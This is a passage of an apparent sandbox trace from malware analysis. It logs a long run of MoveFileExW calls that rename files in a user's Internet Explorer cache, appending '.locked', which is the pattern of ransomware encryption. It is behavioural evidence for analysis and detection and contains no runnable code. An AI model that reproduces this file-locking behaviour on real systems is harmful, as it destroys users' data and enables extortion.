(normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\th[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\th[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\th[1].jpg.locked"), dwFlags=0x2) returned 1 [0150.904] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\index.dat.locked"), dwFlags=0x2) returned 1 [0150.989] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.159] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\26158[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\26158[1].png.locked"), dwFlags=0x2) returned 1 [0151.163] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa42x3v[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa42x3v[1].png.locked"), dwFlags=0x2) returned 1 [0151.169] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa58nqj[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa58nqj[1].png.locked"), dwFlags=0x2) returned 1 [0151.173] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa61ofl[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa61ofl[1].png.locked"), dwFlags=0x2) returned 1 [0151.176] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa6sfrq[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa6sfrq[2].png.locked"), dwFlags=0x2) returned 1 [0151.180] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1vhm[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1vhm[1].png.locked"), dwFlags=0x2) returned 1 [0151.183] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1xjf[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1xjf[1].png.locked"), dwFlags=0x2) returned 1 [0151.187] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aalg41q[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aalg41q[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.190] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aamin0z[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aamin0z[1].png.locked"), dwFlags=0x2) returned 1 [0151.205] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aanhryj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aanhryj[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.251] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adex[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adex[1].js.locked"), dwFlags=0x2) returned 1 [0151.275] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adswrappermsni[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adswrappermsni[1].js.locked"), dwFlags=0x2) returned 1 [0151.310] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.391] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ast[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ast[1].js.locked"), dwFlags=0x2) returned 1 [0151.433] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\autotrack[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\autotrack[1].js.locked"), dwFlags=0x2) returned 1 [0151.437] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb56xto[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb56xto[1].png.locked"), dwFlags=0x2) returned 1 [0151.440] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb5vo0g[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb5vo0g[1].png.locked"), dwFlags=0x2) returned 1 [0151.443] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb8adqn[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb8adqn[1].png.locked"), dwFlags=0x2) returned 1 [0151.451] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbalzyp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbalzyp[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.456] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbimkp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbimkp[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.469] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmgjo[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmgjo[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.474] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmkdf[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmkdf[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.482] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmqch[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmqch[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.502] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmyvh[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmyvh[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.507] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnaf7[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnaf7[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.514] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnntf[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnntf[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.523] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo4dz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo4dz[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.534] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo8ow[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo8ow[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.539] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboaes[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboaes[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.544] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbocib[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbocib[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.553] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboddp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboddp[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.578] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg.locked"), dwFlags=0x2) returned 1 [0151.594] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbr4yq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS 